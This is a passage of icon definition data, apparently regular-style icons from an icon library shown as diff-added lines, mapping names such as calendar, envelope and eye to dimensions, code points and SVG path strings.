32h279.66l-61.4-48H163.53zM320 96c61.86 0 112 50.14 112 112 0 .2-.06.38-.06.58.02 16.84 1.16 31.77 2.79 45.73l59.53 46.54c-8.31-22.13-14.34-51.49-14.34-92.85 0-77.7-54.48-139.9-127.94-155.16V32c0-17.67-14.32-32-31.98-32s-31.98 14.33-31.98 32v20.84c-26.02 5.41-49.45 16.94-69.13 32.72l38.17 29.84C275 103.18 296.65 96 320 96zm0 416c35.32 0 63.97-28.65 63.97-64H256.03c0 35.35 28.65 64 63.97 64z"], + "bookmark": [384, 512, [], "f02e", "M336 0H48C21.49 0 0 21.49 0 48v464l192-112 192 112V48c0-26.51-21.49-48-48-48zm0 428.43l-144-84-144 84V54a6 6 0 0 1 6-6h276c3.314 0 6 2.683 6 5.996V428.43z"], + "building": [448, 512, [], "f1ad", "M128 148v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12h-40c-6.6 0-12-5.4-12-12zm140 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-128 96h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm128 0h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm-76 84v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm76 12h40c6.6 0 12-5.4 12-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12zm180 124v36H0v-36c0-6.6 5.4-12 12-12h19.5V24c0-13.3 10.7-24 24-24h337c13.3 0 24 10.7 24 24v440H436c6.6 0 12 5.4 12 12zM79.5 463H192v-67c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v67h112.5V49L80 48l-.5 415z"], + "calendar": [448, 512, [], "f133", "M400 64h-48V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H160V12c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v52H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h352c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 400H54c-3.3 0-6-2.7-6-6V160h352v298c0 3.3-2.7 6-6 6z"], + "calendar-alt": [448, 512, [], "f073", "M148 288h-40c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v40c0 6.6-5.4 12-12 12zm108-12v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 96v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm-96 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm192 0v-40c0-6.6-5.4-12-12-12h-40c-6.6 0-12 5.4-12 12v40c0 6.6 5.4 12 12 12h40c6.6 0 12-5.4 12-12zm96-260v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-check": [448, 512, [], "f274", "M400 64h-48V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H160V12c0-6.627-5.373-12-12-12h-40c-6.627 0-12 5.373-12 12v52H48C21.49 64 0 85.49 0 112v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm-6 400H54a6 6 0 0 1-6-6V160h352v298a6 6 0 0 1-6 6zm-52.849-200.65L198.842 404.519c-4.705 4.667-12.303 4.637-16.971-.068l-75.091-75.699c-4.667-4.705-4.637-12.303.068-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l44.104 44.461 111.072-110.181c4.705-4.667 12.303-4.637 16.971.068l22.536 22.718c4.667 4.705 4.636 12.303-.069 16.97z"], + "calendar-minus": [448, 512, [], "f272", "M124 328c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h200c6.6 0 12 5.4 12 12v24c0 6.6-5.4 12-12 12H124zm324-216v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-plus": [448, 512, [], "f271", "M336 292v24c0 6.6-5.4 12-12 12h-76v76c0 6.6-5.4 12-12 12h-24c-6.6 0-12-5.4-12-12v-76h-76c-6.6 0-12-5.4-12-12v-24c0-6.6 5.4-12 12-12h76v-76c0-6.6 5.4-12 12-12h24c6.6 0 12 5.4 12 12v76h76c6.6 0 12 5.4 12 12zm112-180v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "calendar-times": [448, 512, [], "f273", "M311.7 374.7l-17 17c-4.7 4.7-12.3 4.7-17 0L224 337.9l-53.7 53.7c-4.7 4.7-12.3 4.7-17 0l-17-17c-4.7-4.7-4.7-12.3 0-17l53.7-53.7-53.7-53.7c-4.7-4.7-4.7-12.3 0-17l17-17c4.7-4.7 12.3-4.7 17 0l53.7 53.7 53.7-53.7c4.7-4.7 12.3-4.7 17 0l17 17c4.7 4.7 4.7 12.3 0 17L257.9 304l53.7 53.7c4.8 4.7 4.8 12.3.1 17zM448 112v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h48V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h128V12c0-6.6 5.4-12 12-12h40c6.6 0 12 5.4 12 12v52h48c26.5 0 48 21.5 48 48zm-48 346V160H48v298c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-down": [448, 512, [], "f150", "M125.1 208h197.8c10.7 0 16.1 13 8.5 20.5l-98.9 98.3c-4.7 4.7-12.2 4.7-16.9 0l-98.9-98.3c-7.7-7.5-2.3-20.5 8.4-20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-left": [448, 512, [], "f191", "M272 157.1v197.8c0 10.7-13 16.1-20.5 8.5l-98.3-98.9c-4.7-4.7-4.7-12.2 0-16.9l98.3-98.9c7.5-7.7 20.5-2.3 20.5 8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-right": [448, 512, [], "f152", "M176 354.9V157.1c0-10.7 13-16.1 20.5-8.5l98.3 98.9c4.7 4.7 4.7 12.2 0 16.9l-98.3 98.9c-7.5 7.7-20.5 2.3-20.5-8.4zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "caret-square-up": [448, 512, [], "f151", "M322.9 304H125.1c-10.7 0-16.1-13-8.5-20.5l98.9-98.3c4.7-4.7 12.2-4.7 16.9 0l98.9 98.3c7.7 7.5 2.3 20.5-8.4 20.5zM448 80v352c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V80c0-26.5 21.5-48 48-48h352c26.5 0 48 21.5 48 48zm-48 346V86c0-3.3-2.7-6-6-6H54c-3.3 0-6 2.7-6 6v340c0 3.3 2.7 6 6 6h340c3.3 0 6-2.7 6-6z"], + "chart-bar": [512, 512, [], "f080", "M396.8 352h22.4c6.4 0 12.8-6.4 12.8-12.8V108.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v230.4c0 6.4 6.4 12.8 12.8 12.8zm-192 0h22.4c6.4 0 12.8-6.4 12.8-12.8V140.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v198.4c0 6.4 6.4 12.8 12.8 12.8zm96 0h22.4c6.4 0 12.8-6.4 12.8-12.8V204.8c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v134.4c0 6.4 6.4 12.8 12.8 12.8zM496 400H48V80c0-8.84-7.16-16-16-16H16C7.16 64 0 71.16 0 80v336c0 17.67 14.33 32 32 32h464c8.84 0 16-7.16 16-16v-16c0-8.84-7.16-16-16-16zm-387.2-48h22.4c6.4 0 12.8-6.4 12.8-12.8v-70.4c0-6.4-6.4-12.8-12.8-12.8h-22.4c-6.4 0-12.8 6.4-12.8 12.8v70.4c0 6.4 6.4 12.8 12.8 12.8z"], + "check-circle": [512, 512, [], "f058", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 48c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m140.204 130.267l-22.536-22.718c-4.667-4.705-12.265-4.736-16.97-.068L215.346 303.697l-59.792-60.277c-4.667-4.705-12.265-4.736-16.97-.069l-22.719 22.536c-4.705 4.667-4.736 12.265-.068 16.971l90.781 91.516c4.667 4.705 12.265 4.736 16.97.068l172.589-171.204c4.704-4.668 4.734-12.266.067-16.971z"], + "check-square": [448, 512, [], "f14a", "M400 32H48C21.49 32 0 53.49 0 80v352c0 26.51 21.49 48 48 48h352c26.51 0 48-21.49 48-48V80c0-26.51-21.49-48-48-48zm0 400H48V80h352v352zm-35.864-241.724L191.547 361.48c-4.705 4.667-12.303 4.637-16.97-.068l-90.781-91.516c-4.667-4.705-4.637-12.303.069-16.971l22.719-22.536c4.705-4.667 12.303-4.637 16.97.069l59.792 60.277 141.352-140.216c4.705-4.667 12.303-4.637 16.97.068l22.536 22.718c4.667 4.706 4.637 12.304-.068 16.971z"], + "circle": [512, 512, [], "f111", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200z"], + "clipboard": [384, 512, [], "f328", "M336 64h-80c0-35.3-28.7-64-64-64s-64 28.7-64 64H48C21.5 64 0 85.5 0 112v352c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zM192 40c13.3 0 24 10.7 24 24s-10.7 24-24 24-24-10.7-24-24 10.7-24 24-24zm144 418c0 3.3-2.7 6-6 6H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h42v36c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-36h42c3.3 0 6 2.7 6 6z"], + "clock": [512, 512, [], "f017", "M256 8C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 448c-110.5 0-200-89.5-200-200S145.5 56 256 56s200 89.5 200 200-89.5 200-200 200zm61.8-104.4l-84.9-61.7c-3.1-2.3-4.9-5.9-4.9-9.7V116c0-6.6 5.4-12 12-12h32c6.6 0 12 5.4 12 12v141.7l66.8 48.6c5.4 3.9 6.5 11.4 2.6 16.8L334.6 349c-3.9 5.3-11.4 6.5-16.8 2.6z"], + "clone": [512, 512, [], "f24d", "M464 0H144c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h320c26.51 0 48-21.49 48-48v-48h48c26.51 0 48-21.49 48-48V48c0-26.51-21.49-48-48-48zM362 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h42v224c0 26.51 21.49 48 48 48h224v42a6 6 0 0 1-6 6zm96-96H150a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h308a6 6 0 0 1 6 6v308a6 6 0 0 1-6 6z"], + "closed-captioning": [512, 512, [], "f20a", "M464 64H48C21.5 64 0 85.5 0 112v288c0 26.5 21.5 48 48 48h416c26.5 0 48-21.5 48-48V112c0-26.5-21.5-48-48-48zm-6 336H54c-3.3 0-6-2.7-6-6V118c0-3.3 2.7-6 6-6h404c3.3 0 6 2.7 6 6v276c0 3.3-2.7 6-6 6zm-211.1-85.7c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.8-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7l-17.5 30.5c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7zm190.4 0c1.7 2.4 1.5 5.6-.5 7.7-53.6 56.9-172.8 32.1-172.8-67.9 0-97.3 121.7-119.5 172.5-70.1 2.1 2 2.5 3.2 1 5.7L420 220.2c-1.9 3.1-6.2 4-9.1 1.7-40.8-32-94.6-14.9-94.6 31.2 0 48 51 70.5 92.2 32.6 2.8-2.5 7.1-2.1 9.2.9l19.6 27.7z"], + "comment": [512, 512, [], "f075", "M256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"], + "comment-alt": [512, 512, [], "f27a", "M448 0H64C28.7 0 0 28.7 0 64v288c0 35.3 28.7 64 64 64h96v84c0 7.1 5.8 12 12 12 2.4 0 4.9-.7 7.1-2.4L304 416h144c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64zm16 352c0 8.8-7.2 16-16 16H288l-12.8 9.6L208 428v-60H64c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h384c8.8 0 16 7.2 16 16v288z"], + "comment-dots": [512, 512, [], "f4ad", "M144 208c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zm112 0c-17.7 0-32 14.3-32 32s14.3 32 32 32 32-14.3 32-32-14.3-32-32-32zM256 32C114.6 32 0 125.1 0 240c0 47.6 19.9 91.2 52.9 126.3C38 405.7 7 439.1 6.5 439.5c-6.6 7-8.4 17.2-4.6 26S14.4 480 24 480c61.5 0 110-25.7 139.1-46.3C192 442.8 223.2 448 256 448c141.4 0 256-93.1 256-208S397.4 32 256 32zm0 368c-26.7 0-53.1-4.1-78.4-12.1l-22.7-7.2-19.5 13.8c-14.3 10.1-33.9 21.4-57.5 29 7.3-12.1 14.4-25.7 19.9-40.2l10.6-28.1-20.6-21.8C69.7 314.1 48 282.2 48 240c0-88.2 93.3-160 208-160s208 71.8 208 160-93.3 160-208 160z"], + "comments": [576, 512, [], "f086", "M532 386.2c27.5-27.1 44-61.1 44-98.2 0-80-76.5-146.1-176.2-157.9C368.3 72.5 294.3 32 208 32 93.1 32 0 103.6 0 192c0 37 16.5 71 44 98.2-15.3 30.7-37.3 54.5-37.7 54.9-6.3 6.7-8.1 16.5-4.4 25 3.6 8.5 12 14 21.2 14 53.5 0 96.7-20.2 125.2-38.8 9.2 2.1 18.7 3.7 28.4 4.9C208.1 407.6 281.8 448 368 448c20.8 0 40.8-2.4 59.8-6.8C456.3 459.7 499.4 480 553 480c9.2 0 17.5-5.5 21.2-14 3.6-8.5 1.9-18.3-4.4-25-.4-.3-22.5-24.1-37.8-54.8zm-392.8-92.3L122.1 305c-14.1 9.1-28.5 16.3-43.1 21.4 2.7-4.7 5.4-9.7 8-14.8l15.5-31.1L77.7 256C64.2 242.6 48 220.7 48 192c0-60.7 73.3-112 160-112s160 51.3 160 112-73.3 112-160 112c-16.5 0-33-1.9-49-5.6l-19.8-4.5zM498.3 352l-24.7 24.4 15.5 31.1c2.6 5.1 5.3 10.1 8 14.8-14.6-5.1-29-12.3-43.1-21.4l-17.1-11.1-19.9 4.6c-16 3.7-32.5 5.6-49 5.6-54 0-102.2-20.1-131.3-49.7C338 339.5 416 272.9 416 192c0-3.4-.4-6.7-.7-10C479.7 196.5 528 238.8 528 288c0 28.7-16.2 50.6-29.7 64z"], + "compass": [496, 512, [], "f14e", "M347.94 129.86L203.6 195.83a31.938 31.938 0 0 0-15.77 15.77l-65.97 144.34c-7.61 16.65 9.54 33.81 26.2 26.2l144.34-65.97a31.938 31.938 0 0 0 15.77-15.77l65.97-144.34c7.61-16.66-9.54-33.81-26.2-26.2zm-77.36 148.72c-12.47 12.47-32.69 12.47-45.16 0-12.47-12.47-12.47-32.69 0-45.16 12.47-12.47 32.69-12.47 45.16 0 12.47 12.47 12.47 32.69 0 45.16zM248 8C111.03 8 0 119.03 0 256s111.03 248 248 248 248-111.03 248-248S384.97 8 248 8zm0 448c-110.28 0-200-89.72-200-200S137.72 56 248 56s200 89.72 200 200-89.72 200-200 200z"], + "copy": [448, 512, [], "f0c5", "M433.941 65.941l-51.882-51.882A48 48 0 0 0 348.118 0H176c-26.51 0-48 21.49-48 48v48H48c-26.51 0-48 21.49-48 48v320c0 26.51 21.49 48 48 48h224c26.51 0 48-21.49 48-48v-48h80c26.51 0 48-21.49 48-48V99.882a48 48 0 0 0-14.059-33.941zM266 464H54a6 6 0 0 1-6-6V150a6 6 0 0 1 6-6h74v224c0 26.51 21.49 48 48 48h96v42a6 6 0 0 1-6 6zm128-96H182a6 6 0 0 1-6-6V54a6 6 0 0 1 6-6h106v88c0 13.255 10.745 24 24 24h88v202a6 6 0 0 1-6 6zm6-256h-64V48h9.632c1.591 0 3.117.632 4.243 1.757l48.368 48.368a6 6 0 0 1 1.757 4.243V112z"], + "copyright": [512, 512, [], "f1f9", "M256 8C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 448c-110.532 0-200-89.451-200-200 0-110.531 89.451-200 200-200 110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200zm107.351-101.064c-9.614 9.712-45.53 41.396-104.065 41.396-82.43 0-140.484-61.425-140.484-141.567 0-79.152 60.275-139.401 139.762-139.401 55.531 0 88.738 26.62 97.593 34.779a11.965 11.965 0 0 1 1.936 15.322l-18.155 28.113c-3.841 5.95-11.966 7.282-17.499 2.921-8.595-6.776-31.814-22.538-61.708-22.538-48.303 0-77.916 35.33-77.916 80.082 0 41.589 26.888 83.692 78.277 83.692 32.657 0 56.843-19.039 65.726-27.225 5.27-4.857 13.596-4.039 17.82 1.738l19.865 27.17a11.947 11.947 0 0 1-1.152 15.518z"], + "credit-card": [576, 512, [], "f09d", "M527.9 32H48.1C21.5 32 0 53.5 0 80v352c0 26.5 21.5 48 48.1 48h479.8c26.6 0 48.1-21.5 48.1-48V80c0-26.5-21.5-48-48.1-48zM54.1 80h467.8c3.3 0 6 2.7 6 6v42H48.1V86c0-3.3 2.7-6 6-6zm467.8 352H54.1c-3.3 0-6-2.7-6-6V256h479.8v170c0 3.3-2.7 6-6 6zM192 332v40c0 6.6-5.4 12-12 12h-72c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h72c6.6 0 12 5.4 12 12zm192 0v40c0 6.6-5.4 12-12 12H236c-6.6 0-12-5.4-12-12v-40c0-6.6 5.4-12 12-12h136c6.6 0 12 5.4 12 12z"], + "dizzy": [496, 512, [], "f567", "M248 8C111 8 0 119 0 256s111 248 248 248 248-111 248-248S385 8 248 8zm0 448c-110.3 0-200-89.7-200-200S137.7 56 248 56s200 89.7 200 200-89.7 200-200 200zm-33.8-217.9c7.8-7.8 7.8-20.5 0-28.3L196.3 192l17.9-17.9c7.8-7.8 7.8-20.5 0-28.3-7.8-7.8-20.5-7.8-28.3 0L168 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.9 7.7 20.5 7.7 28.4-.2zm160-92.2c-7.8-7.8-20.5-7.8-28.3 0L328 163.7l-17.8-17.8c-7.8-7.8-20.5-7.8-28.3 0-7.8 7.8-7.8 20.5 0 28.3l17.9 17.9-17.9 17.9c-7.8 7.8-7.8 20.5 0 28.3 7.8 7.8 20.5 7.8 28.3 0l17.8-17.8 17.8 17.8c7.8 7.8 20.5 7.8 28.3 0 7.8-7.8 7.8-20.5 0-28.3l-17.8-18 17.9-17.9c7.7-7.8 7.7-20.4 0-28.2zM248 272c-35.3 0-64 28.7-64 64s28.7 64 64 64 64-28.7 64-64-28.7-64-64-64z"], + "dot-circle": [512, 512, [], "f192", "M256 56c110.532 0 200 89.451 200 200 0 110.532-89.451 200-200 200-110.532 0-200-89.451-200-200 0-110.532 89.451-200 200-200m0-48C119.033 8 8 119.033 8 256s111.033 248 248 248 248-111.033 248-248S392.967 8 256 8zm0 168c-44.183 0-80 35.817-80 80s35.817 80 80 80 80-35.817 80-80-35.817-80-80-80z"], + "edit": [576, 512, [], "f044", "M402.3 344.9l32-32c5-5 13.7-1.5 13.7 5.7V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V112c0-26.5 21.5-48 48-48h273.5c7.1 0 10.7 8.6 5.7 13.7l-32 32c-1.5 1.5-3.5 2.3-5.7 2.3H48v352h352V350.5c0-2.1.8-4.1 2.3-5.6zm156.6-201.8L296.3 405.7l-90.4 10c-26.2 2.9-48.5-19.2-45.6-45.6l10-90.4L432.9 17.1c22.9-22.9 59.9-22.9 82.7 0l43.2 43.2c22.9 22.9 22.9 60 .1 82.8zM460.1 174L402 115.9 216.2 301.8l-7.3 65.3 65.3-7.3L460.1 174zm64.8-79.7l-43.2-43.2c-4.1-4.1-10.8-4.1-14.8 0L436 82l58.1 58.1 30.9-30.9c4-4.2 4-10.8-.1-14.9z"], + "envelope": [512, 512, [], "f0e0", "M464 64H48C21.49 64 0 85.49 0 112v288c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V112c0-26.51-21.49-48-48-48zm0 48v40.805c-22.422 18.259-58.168 46.651-134.587 106.49-16.841 13.247-50.201 45.072-73.413 44.701-23.208.375-56.579-31.459-73.413-44.701C106.18 199.465 70.425 171.067 48 152.805V112h416zM48 400V214.398c22.914 18.251 55.409 43.862 104.938 82.646 21.857 17.205 60.134 55.186 103.062 54.955 42.717.231 80.509-37.199 103.053-54.947 49.528-38.783 82.032-64.401 104.947-82.653V400H48z"], + "envelope-open": [512, 512, [], "f2b6", "M494.586 164.516c-4.697-3.883-111.723-89.95-135.251-108.657C337.231 38.191 299.437 0 256 0c-43.205 0-80.636 37.717-103.335 55.859-24.463 19.45-131.07 105.195-135.15 108.549A48.004 48.004 0 0 0 0 201.485V464c0 26.51 21.49 48 48 48h416c26.51 0 48-21.49 48-48V201.509a48 48 0 0 0-17.414-36.993zM464 458a6 6 0 0 1-6 6H54a6 6 0 0 1-6-6V204.347c0-1.813.816-3.526 2.226-4.665 15.87-12.814 108.793-87.554 132.364-106.293C200.755 78.88 232.398 48 256 48c23.693 0 55.857 31.369 73.41 45.389 23.573 18.741 116.503 93.493 132.366 106.316a5.99 5.99 0 0 1 2.224 4.663V458zm-31.991-187.704c4.249 5.159 3.465 12.795-1.745 16.981-28.975 23.283-59.274 47.597-70.929 56.863C336.636 362.283 299.205 400 256 400c-43.452 0-81.287-38.237-103.335-55.86-11.279-8.967-41.744-33.413-70.927-56.865-5.21-4.187-5.993-11.822-1.745-16.981l15.258-18.528c4.178-5.073 11.657-5.843 16.779-1.726 28.618 23.001 58.566 47.035 70.56 56.571C200.143 320.631 232.307 352 256 352c23.602 0 55.246-30.88 73.41-45.389 11.994-9.535 41.944-33.57 70.563-56.568 5.122-4.116 12.601-3.346 16.778 1.727l15.258 18.526z"], + "eye": [576, 512, [], "f06e", "M288 144a110.94 110.94 0 0 0-31.24 5 55.4 55.4 0 0 1 7.24 27 56 56 0 0 1-56 56 55.4 55.4 0 0 1-27-7.24A111.71 111.71 0 1 0 288 144zm284.52 97.4C518.29 135.59 410.93 64 288 64S57.68 135.64 3.48 241.41a32.35 32.35 0 0 0 0 29.19C57.71 376.41 165.07 448 288 448s230.32-71.64 284.52-177.41a32.35 32.35 0 0 0 0-29.19zM288 400c-98.65 0-189.09-55-237.93-144C98.91 167 189.34 112 288 112s189.09 55 237.93 144C477.1 345 386.66 400 288 400z"], + "eye-slash": [640, 512, [], "f070", "M634 471L36 3.51A16 16 0 0 0 13.51 6l-10 12.49A16 16 0 0 0 6 41l598 467.49a16 16 0 0 0 22.49-2.49l10-12.49A16 16 0 0 0 634 471zM296.79 146.47l134.79 105.38C429.36 191.91 380.48 144 320 144a112.26 112.26 0 0 0-23.21 2.47zm46.42 219.07L208.42 260.16C210.65 320.09 259.53 368 320 368a113 113 0 0 0 23.21-2.46zM320 112c98.65 0 189.09 55 237.93 144a285.53 285.53 0 0 1-44 60.2l37.74 29.5a333.7 333.7 0 0 0 52.9-75.11 32.35 32.35 0 0 0 0-29.19C550.29 135.59 442.93 64 320 64c-36.7 0-71.71 7-104.63 18.81l46.41 36.29c18.94-4.3 38.34-7.1 58.22-7.1zm0 288c-98.65 0-189.08-55-237.93-144a285.47 285.47 0 0 1 44.05-60.19l-37.74-29.5a333.6 333.6 0 0 0-52.89 75.1 32.35 32.35 0 0 0 0 29.19C89.72 376.41 197.08 448 320 448c36.7 0 71.71-7.05 104.63-18.81l-46.41-36.28C359.28 397.2 339.89 400 320 400z"], + "file": [384, 512, [], "f15b", "M369.9 97.9L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM332.1 128H256V51.9l76.1 76.1zM48 464V48h160v104c0 13.3 10.7 24 24 24h104v288H48z"], + "file-alt": [384, 512, [], "f15c", "M288 248v28c0 6.6-5.4 12-12 12H108c-6.6 0-12-5.4-12-12v-28c0-6.6 5.4-12 12-12h168c6.6 0 12 5.4 12 12zm-12 72H108c-6.6 0-12 5.4-12 12v28c0 6.6 5.4 12 12 12h168c6.6 0 12-5.4 12-12v-28c0-6.6-5.4-12-12-12zm108-188.1V464c0 26.5-21.5 48-48 48H48c-26.5 0-48-21.5-48-48V48C0 21.5 21.5 0 48 0h204.1C264.8 0 277 5.1 286 14.1L369.9 98c9 8.9 14.1 21.2 14.1 33.9zm-128-80V128h76.1L256 51.9zM336 464V176H232c-13.3 0-24-10.7-24-24V48H48v416h288z"], + "file-archive": [384, 512, [], "f1c6", "M128.3 160v32h32v-32zm64-96h-32v32h32zm-64 32v32h32V96zm64 32h-32v32h32zm177.6-30.1L286 14C277 5 264.8-.1 252.1-.1H48C21.5 0 0 21.5 0 48v416c0 26.5 21.5 48 48 48h288c26.5 0 48-21.5 48-48V131.9c0-12.7-5.1-25-14.1-34zM256 51.9l76.1 76.1H256zM336 464H48V48h79.7v16h32V48H208v104c0 13.3 10.7 24 24 24h104zM194.2 265.7c-1.1-5.6-6-9.7-11.8-9.7h-22.1v-32h-32v32l-19.7 97.1C102 385.6 126.8 416 160 416c33.1 0 57.9-30.2 51.5-62.6zm-33.9 124.4c-17.9 0-32.4-12.1-32.4-27s14.5-27 32.4-27 32.4 12.1 32.4 27-14.5 27-32.4 27zm32-198.1h-32v32h32z"], + "file-audio": [384, 512, [], "f1c7", "M369.941 97.941l-83.882-83.882A48 48 0 0 0 252.118 0H48C21.49 0 0 21.49 0 48v416c0 26.51 21.49 48 48 48h288c26.51 0 48-21.49 48-48V131.882a48 48 0 0 0-14.059-33.941zM332.118 128H256V51.882L332.118 128zM48 464V48h160v104c0 13.255 10.745 24 24 24h104v288H48zm144-76.024c0 